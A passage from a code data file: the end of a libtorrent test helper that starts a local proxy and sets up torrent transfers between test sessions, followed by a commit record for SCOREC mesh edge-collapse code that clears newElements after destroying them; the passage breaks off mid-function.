libtorrent;\n\n\tstop_proxy(port);\n\tstd::stringstream cmd;\n\t\/\/ we need to echo n since dg will ask us to configure it\n\tcmd << \"echo n | delegated -P\" << port << \" ADMIN=test@test.com\";\n\tswitch (proxy_type)\n\t{\n\t\tcase proxy_settings::socks4:\n\t\t\tcmd << \" SERVER=socks4\";\n\t\t\tbreak;\n\t\tcase proxy_settings::socks5:\n\t\t\tcmd << \" SERVER=socks5\";\n\t\t\tbreak;\n\t\tcase proxy_settings::socks5_pw:\n\t\t\tcmd << \" SERVER=socks5 AUTHORIZER=-list{testuser:testpass}\";\n\t\t\tbreak;\n\t\tcase proxy_settings::http:\n\t\t\tcmd << \" SERVER=http\";\n\t\t\tbreak;\n\t\tcase proxy_settings::http_pw:\n\t\t\tcmd << \" SERVER=http AUTHORIZER=-list{testuser:testpass}\";\n\t\t\tbreak;\n\t}\n\tsystem(cmd.str().c_str());\n}\n\nusing namespace libtorrent;\n\ntemplate <class T>\nboost::intrusive_ptr<T> clone_ptr(boost::intrusive_ptr<T> const& ptr)\n{\n\treturn boost::intrusive_ptr<T>(new T(*ptr));\n}\n\nboost::intrusive_ptr<torrent_info> create_torrent(std::ostream* file)\n{\n\tchar const* tracker_url = \"http:\/\/non-existent-name.com\/announce\";\n\t\n\tusing namespace boost::filesystem;\n\n\tboost::intrusive_ptr<torrent_info> t(new torrent_info);\n\tint total_size = 2 * 1024 * 1024;\n\tt->add_file(path(\"temporary\"), total_size);\n\tt->set_piece_size(16 * 1024);\n\tt->add_tracker(tracker_url);\n\n\tstd::vector<char> piece(16 * 1024);\n\tfor (int i = 0; i < int(piece.size()); ++i)\n\t\tpiece[i] = (i % 26) + 'A';\n\t\n\t\/\/ calculate the hash for all pieces\n\tint num = t->num_pieces();\n\tsha1_hash ph = hasher(&piece[0], piece.size()).final();\n\tfor (int i = 0; i < num; ++i)\n\t\tt->set_hash(i, ph);\n\tt->create_torrent();\n\n\tif (file)\n\t{\n\t\twhile (total_size > 0)\n\t\t{\n\t\t\tfile->write(&piece[0], (std::min)(int(piece.size()), total_size));\n\t\t\ttotal_size -= piece.size();\n\t\t}\n\t}\n\t\n\treturn t;\n}\n\nboost::tuple<torrent_handle, torrent_handle, torrent_handle>\nsetup_transfer(session* ses1, session* ses2, session* ses3\n\t, bool clear_files, bool use_metadata_transfer, bool connect_peers\n\t, std::string suffix)\n{\n\tusing namespace boost::filesystem;\n\n\tassert(ses1);\n\tassert(ses2);\n\n\tassert(ses1->id() != ses2->id());\n\tif (ses3)\n\t\tassert(ses3->id() != ses2->id());\n\n\t\n\tcreate_directory(\".\/tmp1\" + suffix);\n\tstd::ofstream file((\".\/tmp1\" + suffix + \"\/temporary\").c_str());\n\tboost::intrusive_ptr<torrent_info> t = create_torrent(&file);\n\tfile.close();\n\tif (clear_files)\n\t{\n\t\tremove_all(\".\/tmp2\" + suffix + \"\/temporary\");\n\t\tremove_all(\".\/tmp3\" + suffix + \"\/temporary\");\n\t}\n\t\n\tstd::cerr << \"generated torrent: \" << t->info_hash() << std::endl;\n\n\tses1->set_severity_level(alert::debug);\n\tses2->set_severity_level(alert::debug);\n\t\n\t\/\/ they should not use the same save dir, because the\n\t\/\/ file pool will complain if two torrents are trying to\n\t\/\/ use the same files\n\tsha1_hash info_hash = t->info_hash();\n\ttorrent_handle tor1 = ses1->add_torrent(clone_ptr(t), \".\/tmp1\" + suffix);\n\tTEST_CHECK(!ses1->get_torrents().empty());\n\ttorrent_handle tor2;\n\ttorrent_handle tor3;\n\tif (ses3)\n\t{\n\t\ttor3 = ses3->add_torrent(clone_ptr(t), \".\/tmp3\" + suffix);\n\t\tTEST_CHECK(!ses3->get_torrents().empty());\n\t}\n\n  \tif (use_metadata_transfer)\n\t\ttor2 = ses2->add_torrent(\"http:\/\/non-existent-name.com\/announce\"\n\t\t, t->info_hash(), 0, \".\/tmp2\" + suffix);\n\telse\n\t\ttor2 = ses2->add_torrent(clone_ptr(t), \".\/tmp2\" + suffix);\n\tTEST_CHECK(!ses2->get_torrents().empty());\n\n\tassert(ses1->get_torrents().size() == 1);\n\tassert(ses2->get_torrents().size() == 1);\n\n\ttest_sleep(100);\n\n\tif (connect_peers)\n\t{\n\t\tstd::cerr << \"connecting peer\\n\";\n\t\ttor1.connect_peer(tcp::endpoint(address::from_string(\"127.0.0.1\")\n\t\t\t, ses2->listen_port()));\n\n\t\tif (ses3)\n\t\t{\n\t\t\t\/\/ give the other peers some time to get an initial\n\t\t\t\/\/ set of pieces before they start sharing with each-other\n\t\t\ttor3.connect_peer(tcp::endpoint(\n\t\t\t\taddress::from_string(\"127.0.0.1\")\n\t\t\t\t, ses2->listen_port()));\n\t\t\ttor3.connect_peer(tcp::endpoint(\n\t\t\t\taddress::from_string(\"127.0.0.1\")\n\t\t\t\t, ses1->listen_port()));\n\t\t}\n\t}\n\n\treturn boost::make_tuple(tor1, tor2, tor3);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************** \n\n  Copyright 2013 Scientific Computation Research Center, \n      Rensselaer Polytechnic Institute. All rights reserved.\n  \n  The LICENSE file included with this distribution describes the terms\n  of the SCOREC Non-Commercial License this program is distributed under.\n \n*******************************************************************************\/\n#include \"maCollapse.h\"\n#include \"maAdapt.h\"\n#include \"maShape.h\"\n#include <apfCavityOp.h>\n#include <cassert>\n\nnamespace ma {\n\nvoid Collapse::Init(Adapt* a)\n{\n  adapt = a;\n  cavity.init(a);\n}\n\nbool Collapse::requestLocality(apf::CavityOp* o)\n{\n\/* get vertices again since this is sometimes used\n   before setVerts can work *\/\n  Entity* v[2];\n  Mesh* m = adapt->mesh;\n  m->getDownward(edge,0,v);\n  return o->requestLocality(v,2);\n}\n\nbool Collapse::tryThisDirection(double qualityToBeat)\n{\n  assert( ! adapt->mesh->isShared(vertToCollapse));\n  rebuildElements();\n  if ( ! checkValidity(qualityToBeat))\n    return false;\n  if ((adapt->mesh->getDimension()==2)\n    &&( ! isGood2DMesh()))\n  {\n    cancel();\n    return false;\n  }\n  return true;\n}\n\nbool Collapse::tryBothDirections(double qualityToBeat)\n{\n  computeElementSets();\n  if (tryThisDirection(qualityToBeat))\n    return true;\n  if ( ! getFlag(adapt,vertToKeep,COLLAPSE))\n    return false;\n  std::swap(vertToKeep,vertToCollapse);\n  computeElementSets();\n  return tryThisDirection(qualityToBeat);\n}\n\nbool Collapse::setEdge(Entity* e)\n{\n  if (getFlag(adapt,e,DONT_COLLAPSE))\n    return false;\n  edge = e;\n  vertToCollapse = 0;\n  vertToKeep = 0;\n  elementsToCollapse.clear();\n  elementsToKeep.clear();\n  return true;\n}\n\n\/* this routine ensures we have \"mesh material\" to pull from\n   on at least one side of a collapsing entity.\n   \"a side (edge or tri) adjacent to a vertex to collapse must have the same classification\n    as the center entity (tri or tet) being collapsed\" *\/\nstatic bool checkRingSide(Adapt* a, Entity* side, Entity* vert, Model* centerModel)\n{\n  Mesh* m = a->mesh;\n  if (getFlag(a,vert,COLLAPSE)) {\n    if (m->toModel(side)==centerModel)\n      return true;\n    else {\n\/* this function is responsible for disabling collapse of a\n   vertex that has no material to pull from ! *\/\n      clearFlag(a,vert,COLLAPSE);\n      return false;\n    }\n  }\n  else\n    return false;\n}\n\n\/* if there exists a ring of three edges containing\n   the collapsing edge, those edges must bound a triangle *\/\nbool checkEdgeCollapseEdgeRings(Adapt* a, Entity* edge)\n{\n  Mesh* m = a->mesh;\n  Entity* v[2];\n  m->getDownward(edge,0,v);\n  assert( ! m->isShared(v[0]));\n  assert( ! m->isShared(v[1]));\n  apf::Up ve[2];\n  m->getUp(v[0],ve[0]);\n  m->getUp(v[1],ve[1]);\n  Entity* ring[3];\n  ring[2] = edge;\n  for (int i=0; i < ve[0].n; ++i)\n  {\n    ring[0] = ve[0].e[i];\n    Entity* midv = getEdgeVertOppositeVert(m,ring[0],v[0]);\n    for (int j=0; j < ve[1].n; ++j)\n    {\n      ring[1] = ve[1].e[j];\n      if (midv != getEdgeVertOppositeVert(m,ring[1],v[1]))\n        continue;\n      \/\/at this point a ring is found\n      Entity* face = findUpward(m, apf::Mesh::TRIANGLE, ring);\n      if (!face) return false; \/\/the ring doesn't bound a face\n      Model* c = m->toModel(face);\n\/* the face must have the same classification\n   as one edge adjacent to a collapsing vertex.\n   explicit booleans because checkRingSide has side\n   effects and should be run on both vertices. *\/\n      bool ok0 = checkRingSide(a,ring[0],v[0],c);\n      bool ok1 = checkRingSide(a,ring[1],v[1],c);\n      if ( ! (ok0 || ok1))\n        return false;\n    }\n  }\n  return true;\n}\n\n\/* if there exist two edge-adjacent faces connecting the vertices,\n   those faces and the edge must bound a tet *\/\nbool checkEdgeCollapseFaceRings(Adapt* a, Entity* edge)\n{\n  Mesh* m = a->mesh;\n  Entity* v[2];\n  m->getDownward(edge,0,v);\n  Upward vf[2];\n  m->getAdjacent(v[0],2,vf[0]);\n  m->getAdjacent(v[1],2,vf[1]);\n\/* this is here to speed up what would otherwise be an n^2 operation\n   where n is the number of faces per vertex, n=~30 on average *\/\n  std::map<Entity*,Entity*> oppositeEdgesToFaces;\n  Entity* f[2];\n  for (size_t i=0; i < vf[0].getSize(); ++i)\n  {\n    f[0] = vf[0][i];\n\/* we filter out non-tri faces; collapses involving the boundary\n   layer should ensure topological correctness by other methods *\/\n    if (( m->getType(f[0]) == apf::Mesh::TRIANGLE)\n      &&( ! isInClosure(m,f[0],edge)))\n    {\n      Entity* oppositeEdge = getTriEdgeOppositeVert(m,f[0],v[0]);\n      oppositeEdgesToFaces[oppositeEdge]=f[0];\n    }\n  }\n  for (size_t i=0; i < vf[1].getSize(); ++i)\n  {\n    f[1] = vf[1][i];\n    if ((m->getType(f[1]) != apf::Mesh::TRIANGLE)||\n        (isInClosure(m, f[1], edge)))\n      continue;\n    Entity* oppositeEdge = getTriEdgeOppositeVert(m,f[1],v[1]);\n    std::map<Entity*,Entity*>::iterator found =\n      oppositeEdgesToFaces.find(oppositeEdge);\n    if (found==oppositeEdgesToFaces.end()) continue;\n    \/\/at this point a ring is found\n    f[0] = found->second;\n    Entity* tet = findTetByTwoTris(m,f);\n    if (!tet) return false;\n    Model* c = m->toModel(tet);\n\/* at least one face adjacent to a collapsing vertex\n   must have the same classification as the tet.\n   explicit booleans because checkRingSide has side\n   effects and should be run on both vertices. *\/\n    bool ok0 = checkRingSide(a,f[0],v[0],c);\n    bool ok1 = checkRingSide(a,f[1],v[1],c);\n    if ( ! (ok0 || ok1))\n      return false;\n  }\n  return true;\n}\n\nbool checkEdgeCollapseTopology(Adapt* a, Entity* edge)\n{\n  if ( ! checkEdgeCollapseEdgeRings(a,edge))\n    return false;\n  if ( ! checkEdgeCollapseFaceRings(a,edge))\n    return false;\n  return true;\n}\n\nstatic bool setVertexToCollapse(Adapt* a, Entity* v)\n{\n  if (getFlag(a,v,DONT_COLLAPSE))\n    return false;\n  setFlag(a,v,COLLAPSE);\n  return true;\n}\n\n\/* this function checks the geometric classification\n   requirements on an edge collapse\n   and marks vertices with the COLLAPSE flag *\/\nbool checkEdgeCollapseClassification(Adapt* a, Entity* edge)\n{\n  Mesh* m = a->mesh;\n  Entity* v[2];\n  m->getDownward(edge,0,v);\n  Model* c[3];\n  c[0] = m->toModel(v[0]);\n  c[1] = m->toModel(edge);\n  c[2] = m->toModel(v[1]);\n  int cd[3];\n  cd[0] = m->getModelType(c[0]);\n  cd[1] = m->getModelType(c[1]);\n  cd[2] = m->getModelType(c[2]);\n  \/* if the vertices are classified on equal-order model entities,\n     then both vertices and the edge must have the same classification *\/\n  if (cd[0] == cd[2])\n  {\n    if ( ! ((c[0]==c[1])&&(c[1]==c[2])))\n      return false;\n    bool ok[2];\n    ok[0] = setVertexToCollapse(a,v[0]);\n    ok[1] = setVertexToCollapse(a,v[1]);\n    return ok[0] || ok[1];\n  }\n  \/\/by now cd[2] != cd[0]\n  if (cd[2] > cd[0])\n  {\n    std::swap(cd[0],cd[2]);\n    std::swap(c[0],c[2]);\n    std::swap(v[0],v[1]);\n  }\n  \/\/now cd[0] > cd[2]\n  \/* if the vertices are classified on different orders, then the\n     vertex to be collapsed and the edge must be classified on\n     the higher-order model entity *\/\n  if (c[0]!=c[1])\n    return false;\n  return setVertexToCollapse(a,v[0]);\n}\n\nbool Collapse::checkClass()\n{\n  if (checkEdgeCollapseClassification(adapt,edge))\n    return true;\n  clearFlag(adapt,edge,COLLAPSE);\n  return false;\n}\n\nbool Collapse::checkTopo()\n{\n  if (checkEdgeCollapseTopology(adapt,edge))\n  {\n    setVerts();\n    return true;\n  }\n  unmark();\n  return false;\n}\n\nvoid Collapse::unmark()\n{ \/* flags must be properly cleared to prevent misinterpretation\n     later in the algorithms *\/\n  clearFlag(adapt,edge,COLLAPSE);\n  Entity* v[2];\n  Mesh* m = adapt->mesh;\n  m->getDownward(edge,0,v);\n  for (int i=0; i < 2; ++i)\n    if ( ! isRequiredForAnEdgeCollapse(adapt,v[i]))\n      clearFlag(adapt,v[i],COLLAPSE);\n}\n\nvoid Collapse::setVerts()\n{\n  Entity* v[2];\n  Mesh* m = adapt->mesh;\n  m->getDownward(edge,0,v);\n  if (getFlag(adapt,v[0],COLLAPSE))\n    vertToCollapse = v[0];\n  else\n    vertToCollapse = v[1];\n  assert(getFlag(adapt,vertToCollapse,COLLAPSE));\n  vertToKeep = getEdgeVertOppositeVert(m,edge,vertToCollapse);\n}\n\nvoid Collapse::computeElementSets()\n{\n  Upward adjacent;\n  Mesh* m = adapt->mesh;\n  m->getAdjacent(edge,m->getDimension(),adjacent);\n  elementsToCollapse.clear();\n  APF_ITERATE(Upward,adjacent,it)\n    elementsToCollapse.insert(*it);\n  m->getAdjacent(vertToCollapse,m->getDimension(),adjacent);\n  elementsToKeep.clear();\n  APF_ITERATE(Upward,adjacent,it)\n    if ( ! elementsToCollapse.count(*it))\n      elementsToKeep.insert(*it);\n  assert(elementsToKeep.size());\n}\n\nvoid Collapse::rebuildElements()\n{\n  assert(elementsToKeep.size());\n  newElements.setSize(elementsToKeep.size());\n  cavity.beforeBuilding();\n  size_t ni=0;\n  APF_ITERATE(EntitySet,elementsToKeep,it)\n    newElements[ni++]=\n        rebuildElement(adapt,*it,vertToCollapse,vertToKeep);\n  cavity.afterBuilding();\n  if (cavity.shouldFit) {\n    EntityArray oldElements;\n    getOldElements(oldElements);\n    cavity.fit(oldElements);\n  }\n}\n\nbool Collapse::checkValidity(double qualityToBeat)\n{\n  double quality = getWorstQuality(adapt,newElements);\n  if (quality > qualityToBeat)\n    return true;\n  cancel();\n  return false;\n}\n\nbool Collapse::isGood2DMesh()\n{\n  \/* in 2D we want to prevent \"inverted\" triangles\n     we check that each rebuilt triangle has not had\n     its normal changed by more than 90 degrees. *\/\n  Mesh* m = adapt->mesh;\n  size_t i=0;\n  APF_ITERATE(EntitySet,elementsToKeep,it)\n    if ( ! isTwoTriAngleAcute(m,*it,newElements[i++]))\n      return false;\n  return true;\n}\n\nvoid Collapse::cancel()\n{\n  for (size_t i=0; i < newElements.getSize(); ++i)\n    destroyElement(adapt,newElements[i]);\n  unmark();\n}\n\nvoid Collapse::getOldElements(EntityArray& oldElements)\n{\n  EntitySet& toCollapse = elementsToCollapse;\n  assert(toCollapse.size());\n  EntitySet& toKeep = elementsToKeep;\n  assert(toKeep.size());\n  oldElements.setSize(toCollapse.size() + toKeep.size());\n  size_t k=0;\n  APF_ITERATE(EntitySet,toCollapse,it)\n    oldElements[k++] = *it;\n  APF_ITERATE(EntitySet,toKeep,it)\n    oldElements[k++] = *it;\n  assert(k==oldElements.getSize());\n}\n\ndouble Collapse::getOldQuality()\n{\n  EntityArray oldElements;\n  getOldElements(oldElements);\n  return getWorstQuality(adapt,oldElements);\n}\n\nvoid Collapse::destroyOldElements()\n{\n  EntityArray oldElements;\n  getOldElements(oldElements);\n  cavity.transfer(oldElements);\n  for (size_t i=0; i < oldElements.getSize(); ++i)\n    destroyElement(adapt,oldElements[i]);\n}\n\nbool isRequiredForAnEdgeCollapse(Adapt* adapt, Entity* vertex)\n{\n  Mesh* m = adapt->mesh;\n  Model* c = m->toModel(vertex);\n  apf::Up ve;\n  m->getUp(vertex,ve);\n  for (int i=0; i < ve.n; ++i)\n  {\n    Entity* edge = ve.e[i];\n    \/* we collapse one model dimension at a time, so\n       only edges on the same model entity as the\n       vertex being collapsed are relevant *\/\n    if (c != m->toModel(edge))\n      continue;\n    if (getFlag(adapt,edge,COLLAPSE))\n    {\n      Entity* v2 = getEdgeVertOppositeVert(m,edge,vertex);\n      if ( ! getFlag(adapt,v2,COLLAPSE))\n        return true;\n    }\n  }\n  return false;\n}\n\nbool setupCollapse(Collapse& collapse, Entity* edge, Entity* vert)\n{\n  Adapt* adapter = collapse.adapt;\n  assert(adapter->mesh->getType(edge) == apf::Mesh::EDGE);\n  assert(adapter->mesh->getType(vert) == apf::Mesh::VERTEX);\n  if ( ! collapse.setEdge(edge))\n    return false;\n  if ( ! collapse.checkClass())\n    return false;\n  if ( ! collapse.checkTopo())\n    return false;\n  if ( ! getFlag(adapter, vert, COLLAPSE)) {\n    collapse.unmark();\n    return false;\n  }\n  if (collapse.vertToCollapse != vert)\n    std::swap(collapse.vertToCollapse, collapse.vertToKeep);\n  assert(collapse.vertToCollapse == vert);\n  collapse.computeElementSets();\n  return true;\n}\n\n}\n<commit_msg>deallocate newElements after destroying them<commit_after>\/****************************************************************************** \n\n  Copyright 2013 Scientific Computation Research Center, \n      Rensselaer Polytechnic Institute. All rights reserved.\n  \n  The LICENSE file included with this distribution describes the terms\n  of the SCOREC Non-Commercial License this program is distributed under.\n \n*******************************************************************************\/\n#include \"maCollapse.h\"\n#include \"maAdapt.h\"\n#include \"maShape.h\"\n#include <apfCavityOp.h>\n#include <cassert>\n\nnamespace ma {\n\nvoid Collapse::Init(Adapt* a)\n{\n  adapt = a;\n  cavity.init(a);\n}\n\nbool Collapse::requestLocality(apf::CavityOp* o)\n{\n\/* get vertices again since this is sometimes used\n   before setVerts can work *\/\n  Entity* v[2];\n  Mesh* m = adapt->mesh;\n  m->getDownward(edge,0,v);\n  return o->requestLocality(v,2);\n}\n\nbool Collapse::tryThisDirection(double qualityToBeat)\n{\n  assert( ! adapt->mesh->isShared(vertToCollapse));\n  rebuildElements();\n  if ( ! checkValidity(qualityToBeat))\n    return false;\n  if ((adapt->mesh->getDimension()==2)\n    &&( ! isGood2DMesh()))\n  {\n    cancel();\n    return false;\n  }\n  return true;\n}\n\nbool Collapse::tryBothDirections(double qualityToBeat)\n{\n  computeElementSets();\n  if (tryThisDirection(qualityToBeat))\n    return true;\n  if ( ! getFlag(adapt,vertToKeep,COLLAPSE))\n    return false;\n  std::swap(vertToKeep,vertToCollapse);\n  computeElementSets();\n  return tryThisDirection(qualityToBeat);\n}\n\nbool Collapse::setEdge(Entity* e)\n{\n  if (getFlag(adapt,e,DONT_COLLAPSE))\n    return false;\n  edge = e;\n  vertToCollapse = 0;\n  vertToKeep = 0;\n  elementsToCollapse.clear();\n  elementsToKeep.clear();\n  return true;\n}\n\n\/* this routine ensures we have \"mesh material\" to pull from\n   on at least one side of a collapsing entity.\n   \"a side (edge or tri) adjacent to a vertex to collapse must have the same classification\n    as the center entity (tri or tet) being collapsed\" *\/\nstatic bool checkRingSide(Adapt* a, Entity* side, Entity* vert, Model* centerModel)\n{\n  Mesh* m = a->mesh;\n  if (getFlag(a,vert,COLLAPSE)) {\n    if (m->toModel(side)==centerModel)\n      return true;\n    else {\n\/* this function is responsible for disabling collapse of a\n   vertex that has no material to pull from ! *\/\n      clearFlag(a,vert,COLLAPSE);\n      return false;\n    }\n  }\n  else\n    return false;\n}\n\n\/* if there exists a ring of three edges containing\n   the collapsing edge, those edges must bound a triangle *\/\nbool checkEdgeCollapseEdgeRings(Adapt* a, Entity* edge)\n{\n  Mesh* m = a->mesh;\n  Entity* v[2];\n  m->getDownward(edge,0,v);\n  assert( ! m->isShared(v[0]));\n  assert( ! m->isShared(v[1]));\n  apf::Up ve[2];\n  m->getUp(v[0],ve[0]);\n  m->getUp(v[1],ve[1]);\n  Entity* ring[3];\n  ring[2] = edge;\n  for (int i=0; i < ve[0].n; ++i)\n  {\n    ring[0] = ve[0].e[i];\n    Entity* midv = getEdgeVertOppositeVert(m,ring[0],v[0]);\n    for (int j=0; j < ve[1].n; ++j)\n    {\n      ring[1] = ve[1].e[j];\n      if (midv != getEdgeVertOppositeVert(m,ring[1],v[1]))\n        continue;\n      \/\/at this point a ring is found\n      Entity* face = findUpward(m, apf::Mesh::TRIANGLE, ring);\n      if (!face) return false; \/\/the ring doesn't bound a face\n      Model* c = m->toModel(face);\n\/* the face must have the same classification\n   as one edge adjacent to a collapsing vertex.\n   explicit booleans because checkRingSide has side\n   effects and should be run on both vertices. *\/\n      bool ok0 = checkRingSide(a,ring[0],v[0],c);\n      bool ok1 = checkRingSide(a,ring[1],v[1],c);\n      if ( ! (ok0 || ok1))\n        return false;\n    }\n  }\n  return true;\n}\n\n\/* if there exist two edge-adjacent faces connecting the vertices,\n   those faces and the edge must bound a tet *\/\nbool checkEdgeCollapseFaceRings(Adapt* a, Entity* edge)\n{\n  Mesh* m = a->mesh;\n  Entity* v[2];\n  m->getDownward(edge,0,v);\n  Upward vf[2];\n  m->getAdjacent(v[0],2,vf[0]);\n  m->getAdjacent(v[1],2,vf[1]);\n\/* this is here to speed up what would otherwise be an n^2 operation\n   where n is the number of faces per vertex, n=~30 on average *\/\n  std::map<Entity*,Entity*> oppositeEdgesToFaces;\n  Entity* f[2];\n  for (size_t i=0; i < vf[0].getSize(); ++i)\n  {\n    f[0] = vf[0][i];\n\/* we filter out non-tri faces; collapses involving the boundary\n   layer should ensure topological correctness by other methods *\/\n    if (( m->getType(f[0]) == apf::Mesh::TRIANGLE)\n      &&( ! isInClosure(m,f[0],edge)))\n    {\n      Entity* oppositeEdge = getTriEdgeOppositeVert(m,f[0],v[0]);\n      oppositeEdgesToFaces[oppositeEdge]=f[0];\n    }\n  }\n  for (size_t i=0; i < vf[1].getSize(); ++i)\n  {\n    f[1] = vf[1][i];\n    if ((m->getType(f[1]) != apf::Mesh::TRIANGLE)||\n        (isInClosure(m, f[1], edge)))\n      continue;\n    Entity* oppositeEdge = getTriEdgeOppositeVert(m,f[1],v[1]);\n    std::map<Entity*,Entity*>::iterator found =\n      oppositeEdgesToFaces.find(oppositeEdge);\n    if (found==oppositeEdgesToFaces.end()) continue;\n    \/\/at this point a ring is found\n    f[0] = found->second;\n    Entity* tet = findTetByTwoTris(m,f);\n    if (!tet) return false;\n    Model* c = m->toModel(tet);\n\/* at least one face adjacent to a collapsing vertex\n   must have the same classification as the tet.\n   explicit booleans because checkRingSide has side\n   effects and should be run on both vertices. *\/\n    bool ok0 = checkRingSide(a,f[0],v[0],c);\n    bool ok1 = checkRingSide(a,f[1],v[1],c);\n    if ( ! (ok0 || ok1))\n      return false;\n  }\n  return true;\n}\n\nbool checkEdgeCollapseTopology(Adapt* a, Entity* edge)\n{\n  if ( ! checkEdgeCollapseEdgeRings(a,edge))\n    return false;\n  if ( ! checkEdgeCollapseFaceRings(a,edge))\n    return false;\n  return true;\n}\n\nstatic bool setVertexToCollapse(Adapt* a, Entity* v)\n{\n  if (getFlag(a,v,DONT_COLLAPSE))\n    return false;\n  setFlag(a,v,COLLAPSE);\n  return true;\n}\n\n\/* this function checks the geometric classification\n   requirements on an edge collapse\n   and marks vertices with the COLLAPSE flag *\/\nbool checkEdgeCollapseClassification(Adapt* a, Entity* edge)\n{\n  Mesh* m = a->mesh;\n  Entity* v[2];\n  m->getDownward(edge,0,v);\n  Model* c[3];\n  c[0] = m->toModel(v[0]);\n  c[1] = m->toModel(edge);\n  c[2] = m->toModel(v[1]);\n  int cd[3];\n  cd[0] = m->getModelType(c[0]);\n  cd[1] = m->getModelType(c[1]);\n  cd[2] = m->getModelType(c[2]);\n  \/* if the vertices are classified on equal-order model entities,\n     then both vertices and the edge must have the same classification *\/\n  if (cd[0] == cd[2])\n  {\n    if ( ! ((c[0]==c[1])&&(c[1]==c[2])))\n      return false;\n    bool ok[2];\n    ok[0] = setVertexToCollapse(a,v[0]);\n    ok[1] = setVertexToCollapse(a,v[1]);\n    return ok[0] || ok[1];\n  }\n  \/\/by now cd[2] != cd[0]\n  if (cd[2] > cd[0])\n  {\n    std::swap(cd[0],cd[2]);\n    std::swap(c[0],c[2]);\n    std::swap(v[0],v[1]);\n  }\n  \/\/now cd[0] > cd[2]\n  \/* if the vertices are classified on different orders, then the\n     vertex to be collapsed and the edge must be classified on\n     the higher-order model entity *\/\n  if (c[0]!=c[1])\n    return false;\n  return setVertexToCollapse(a,v[0]);\n}\n\nbool Collapse::checkClass()\n{\n  if (checkEdgeCollapseClassification(adapt,edge))\n    return true;\n  clearFlag(adapt,edge,COLLAPSE);\n  return false;\n}\n\nbool Collapse::checkTopo()\n{\n  if (checkEdgeCollapseTopology(adapt,edge))\n  {\n    setVerts();\n    return true;\n  }\n  unmark();\n  return false;\n}\n\nvoid Collapse::unmark()\n{ \/* flags must be properly cleared to prevent misinterpretation\n     later in the algorithms *\/\n  clearFlag(adapt,edge,COLLAPSE);\n  Entity* v[2];\n  Mesh* m = adapt->mesh;\n  m->getDownward(edge,0,v);\n  for (int i=0; i < 2; ++i)\n    if ( ! isRequiredForAnEdgeCollapse(adapt,v[i]))\n      clearFlag(adapt,v[i],COLLAPSE);\n}\n\nvoid Collapse::setVerts()\n{\n  Entity* v[2];\n  Mesh* m = adapt->mesh;\n  m->getDownward(edge,0,v);\n  if (getFlag(adapt,v[0],COLLAPSE))\n    vertToCollapse = v[0];\n  else\n    vertToCollapse = v[1];\n  assert(getFlag(adapt,vertToCollapse,COLLAPSE));\n  vertToKeep = getEdgeVertOppositeVert(m,edge,vertToCollapse);\n}\n\nvoid Collapse::computeElementSets()\n{\n  Upward adjacent;\n  Mesh* m = adapt->mesh;\n  m->getAdjacent(edge,m->getDimension(),adjacent);\n  elementsToCollapse.clear();\n  APF_ITERATE(Upward,adjacent,it)\n    elementsToCollapse.insert(*it);\n  m->getAdjacent(vertToCollapse,m->getDimension(),adjacent);\n  elementsToKeep.clear();\n  APF_ITERATE(Upward,adjacent,it)\n    if ( ! elementsToCollapse.count(*it))\n      elementsToKeep.insert(*it);\n  assert(elementsToKeep.size());\n}\n\nvoid Collapse::rebuildElements()\n{\n  assert(elementsToKeep.size());\n  newElements.setSize(elementsToKeep.size());\n  cavity.beforeBuilding();\n  size_t ni=0;\n  APF_ITERATE(EntitySet,elementsToKeep,it)\n    newElements[ni++]=\n        rebuildElement(adapt,*it,vertToCollapse,vertToKeep);\n  cavity.afterBuilding();\n  if (cavity.shouldFit) {\n    EntityArray oldElements;\n    getOldElements(oldElements);\n    cavity.fit(oldElements);\n  }\n}\n\nbool Collapse::checkValidity(double qualityToBeat)\n{\n  double quality = getWorstQuality(adapt,newElements);\n  if (quality > qualityToBeat)\n    return true;\n  cancel();\n  return false;\n}\n\nbool Collapse::isGood2DMesh()\n{\n  \/* in 2D we want to prevent \"inverted\" triangles\n     we check that each rebuilt triangle has not had\n     its normal changed by more than 90 degrees. *\/\n  Mesh* m = adapt->mesh;\n  size_t i=0;\n  APF_ITERATE(EntitySet,elementsToKeep,it)\n    if ( ! isTwoTriAngleAcute(m,*it,newElements[i++]))\n      return false;\n  return true;\n}\n\nvoid Collapse::cancel()\n{\n  for (size_t i=0; i < newElements.getSize(); ++i)\n    destroyElement(adapt,newElements[i]);\n  newElements.setSize(0);\n  unmark();\n}\n\nvoid Collapse::getOldElements(EntityArray& oldElements)\n{\n  EntitySet& toCollapse = elementsToCollapse;\n  assert(toCollapse.size());\n  EntitySet& toKeep = elementsToKeep;\n  assert(toKeep.size());\n  oldElements.setSize(toCollapse.size() + toKeep.size());\n  size_t k=0;\n  APF_ITERATE(EntitySet,toCollapse,it)\n    oldElements[k++] = *it;\n  APF_ITERATE(EntitySet,toKeep,it)\n    oldElements[k++] = *it;\n  assert(k==oldElements.getSize());\n}\n\ndouble Collapse::getOldQuality()\n{\n  EntityArray oldElements;\n  getOldElements(oldElements);\n  return getWorstQuality(adapt,oldElements);\n}\n\nvoid Collapse::destroyOldElements()\n{\n  EntityArray oldElements;\n  getOldElements(oldElements);\n  cavity.transfer(oldElements);\n  for (size_t i=0; i < oldElements.getSize(); ++i)\n    destroyElement(adapt,oldElements[i]);\n}\n\nbool isRequiredForAnEdgeCollapse(Adapt* adapt, Entity* vertex)\n{\n  Mesh* m = adapt->mesh;\n  Model* c = m->toModel(vertex);\n  apf::Up ve;\n  m->getUp(vertex,ve);\n  for (int i=0; i < ve.n; ++i)\n  {\n    Entity* edge = ve.e[i];\n    \/* we collapse one model dimension at a time, so\n       only edges on the same model entity as the\n       vertex being collapsed are relevant *\/\n    if (c != m->toModel(edge))\n      continue;\n    if (getFlag(adapt,edge,COLLAPSE))\n    {\n      Entity* v2 = getEdgeVertOppositeVert(m,edge,vertex);\n      if ( ! getFlag(adapt,v2,COLLAPSE))\n        return true;\n    }\n  }\n  return false;\n}\n\nbool setupCollapse(Collapse& collapse, Entity* edge, Entity* vert)\n{\n  Adapt* adapter = collapse.adapt;\n  assert(adapter->mesh->getType(edge) == apf::Mesh::EDGE);\n  assert(adapter->mesh->getType(vert) == apf::Mesh::VERTEX);\n  if ( ! collapse.setEdge(edge))\n    return false;\n  if ( ! collapse.checkClass())\n    return false;\n  if ( ! collapse.checkTopo())\n    return false;\n  if ( ! getFlag(adapter, vert, COLLAPSE)) {\n    collapse.unmark();\n    return false;\n  }\n  if (collapse.vertToCollapse != vert)\n    std::swap(collapse.vertToCollapse, collapse.vertToKeep);\n  assert(collapse.vertToCollapse == vert);\n  collapse.computeElementSets();\n  return 